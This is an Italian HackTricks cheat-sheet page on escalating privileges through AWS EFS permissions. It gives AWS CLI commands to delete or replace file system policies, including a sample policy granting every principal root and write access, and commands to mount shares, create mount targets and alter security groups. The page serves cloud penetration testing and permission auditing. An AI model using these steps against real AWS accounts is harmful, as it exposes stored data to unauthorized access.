AWS - EFS Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

EFS

Maggiori informazioni su EFS in:

pageAWS - EFS Enum

Ricorda che per montare un EFS è necessario trovarsi in una sottorete in cui l'EFS è esposto e avere accesso ad esso (gruppi di sicurezza). Se ciò accade, di default sarai sempre in grado di montarlo, tuttavia, se è protetto da politiche IAM, è necessario avere le autorizzazioni extra menzionate qui per accedervi.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Con una di queste autorizzazioni, un attaccante può cambiare la politica del file system per concederti l'accesso ad esso, o semplicemente eliminarlo in modo che sia concesso l'accesso predefinito.

Per eliminare la politica:

aws efs delete-file-system-policy \
--file-system-id <value>

Per cambiarlo:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Con questa autorizzazione, un attaccante sarà in grado di montare l'EFS. Se l'autorizzazione di scrittura non è concessa per impostazione predefinita a tutti coloro che possono montare l'EFS, avrà solo accesso in lettura.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Le autorizzazioni extra elasticfilesystem:ClientRootAccess e elasticfilesystem:ClientWrite possono essere utilizzate per scrivere all'interno del file system dopo che è stato montato e per accedere a quel file system come root.

Impatto potenziale: Escalation dei privilegi indiretta individuando informazioni sensibili nel file system.

elasticfilesystem:CreateMountTarget

Se un attaccante si trova all'interno di una sottorete in cui non esiste alcun mount target dell'EFS, potrebbe semplicemente crearne uno nella sua sottorete con questo privilegio:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potenziale impatto: Privesc indiretto mediante la localizzazione di informazioni sensibili nel file system.

elasticfilesystem:ModifyMountTargetSecurityGroups

In uno scenario in cui un attaccante scopre che l'EFS ha un mount target nella sua sottorete ma nessun security group permette il traffico, potrebbe semplicemente modificarlo modificando i security group selezionati:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potenziale Impatto: Privesc indiretto mediante la localizzazione di informazioni sensibili nel file system.

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated